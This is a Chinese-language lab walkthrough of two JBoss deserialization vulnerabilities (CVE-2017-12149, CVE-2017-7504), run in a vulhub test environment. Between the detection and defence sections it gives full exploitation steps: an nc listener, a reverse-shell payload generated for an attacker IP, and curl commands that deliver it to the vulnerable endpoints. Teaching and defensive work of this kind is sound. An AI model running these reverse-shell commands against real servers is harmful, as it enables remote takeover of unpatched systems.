一、JBoss 概述
1. 基本介绍
JBoss 是 Red Hat 公司维护的开源 Java EE 应用服务器,支持企业级功能如 EJB(企业组件)、JMS(消息服务)、JNDI(命名服务)等,常见版本包括 JBoss AS、WildFly、JBoss EAP,广泛应用于企业级系统。
2. 反序列化漏洞背景
JBoss 部分组件(如 HttpInvoker、JBossMQ)在处理序列化数据时缺乏严格校验,攻击者可通过特定接口发送恶意序列化对象,触发远程代码执行。本文聚焦两个典型漏洞:CVE-2017-12149和CVE-2017-7504。
二、CVE-2017-12149 漏洞详解
1. 漏洞原理
- 触发点:HttpInvoker 组件的
ReadOnlyAccessFilter
过滤器。 - 核心缺陷:
/invoker/readonly
接口接收用户输入的序列化数据后,未验证合法性即直接反序列化,导致恶意代码执行。
2. 环境搭建
使用 vulhub 靶场快速部署:
cd vulhub/jboss/CVE-2017-12149
docker-compose up -d # 启动后默认端口8080
访问
http://靶机IP:8080
确认环境正常运行。3. 漏洞检测
访问
http://靶机IP:8080/invoker/readonly
:- 若返回HTTP 500 错误(如
java.io.EOFException
),表明接口存在且未修复,可能存在漏洞; - 若返回 404,则接口已被禁用或修复。
4. 漏洞利用步骤
(1)命令执行验证
使用专用工具(jboss_CVE-2017-12149)测试:
- 输入目标地址
http://靶机IP:8080
和命令(如ls
),执行后返回目录列表,证明漏洞存在。
(2)反弹 Shell(获取控制权)
- 攻击机准备:
监听端口等待反弹:nc -lvvp 8888 # 攻击机IP:192.168.226.141,端口8888
- 生成恶意序列化文件:
- 下载辅助工具:JavaDeserH2HC;
- 编译恶意类(依赖
commons-collections-3.2.1.jar
):javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
- 生成序列化文件(指定攻击机 IP 和端口):
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.226.141 8888
- 发送恶意数据:
通过curl
向漏洞接口发送序列化文件:curl http://靶机IP:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
- 验证结果:
攻击机nc
会话接收靶机反弹的 Shell,执行whoami
返回root
,确认控制权获取成功。
三、CVE-2017-7504 漏洞详解
1. 漏洞原理
- 触发点:JBossMQ 组件的
/jbossmq-httpil/HTTPServerILServlet
接口。 - 核心缺陷:接口直接反序列化接收的序列化数据,未做安全校验,攻击者可构造恶意对象执行代码。
2. 环境搭建
同 CVE-2017-12149,使用 vulhub 靶场启动容器。
3. 漏洞检测
访问
http://靶机IP:8080/jbossmq-httpil/HTTPServerILServlet
:
- 若返回页面包含
This is the JBossMQ HTTP-IL
,表明接口存在,可能存在漏洞。
4. 漏洞利用步骤
- 生成恶意序列化文件:方法同 CVE-2017-12149(使用相同的
ReverseShellCommonsCollectionsHashMap
类)。 - 发送恶意数据:
curl http://靶机IP:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
- 验证结果:攻击机
nc
会话接收反弹 Shell,确认漏洞利用成功。
四、两个漏洞核心对比
对比项 | CVE-2017-12149 | CVE-2017-7504 |
---|---|---|
触发接口 | /invoker/readonly | /jbossmq-httpil/HTTPServerILServlet |
检测特征 | 访问返回 HTTP 500 错误 | 访问返回特定页面内容(含JBossMQ HTTP-IL ) |
利用链依赖 | 依赖CommonsCollections 链 | 同上 |
影响版本 | JBoss AS 5.x、6.x | JBoss AS 4.x 及以上 |
五、漏洞识别方法
- 接口探测:
- 访问
/invoker/readonly
,返回 500 错误可能存在 CVE-2017-12149; - 访问
/jbossmq-httpil/HTTPServerILServlet
,返回特定页面可能存在 CVE-2017-7504。
- 访问
- 工具扫描:
使用 Nessus、AWVS 等工具,或专用脚本(如jboss-vuln-scan
),自动检测危险接口及漏洞。 - 序列化数据验证:
向接口发送空序列化对象,若返回ClassNotFoundException
等反序列化错误,说明存在漏洞风险。
六、防御建议
- 版本升级:升级至安全版本(如 WildFly 10+),官方已修复相关接口缺陷。
- 禁用危险接口:
- 删除配置文件中接口映射(如
web.xml
中的 Servlet 配置); - 通过防火墙限制接口访问,仅允许可信 IP 调用。
- 删除配置文件中接口映射(如
- 输入过滤:
- 部署 WAF 拦截含 Java 序列化特征(
ac ed 00 05
魔数)的请求; - 禁止接口直接接收二进制序列化数据。
- 部署 WAF 拦截含 Java 序列化特征(
- 依赖管理:
移除commons-collections
等危险库,或替换为安全版本(如commons-collections4
)。 - 监控审计:
- 开启 JBoss 日志,监控
/invoker/
、/jbossmq-httpil/
等路径的异常访问; - 定期扫描服务器,排查未修复的接口漏洞。
- 开启 JBoss 日志,监控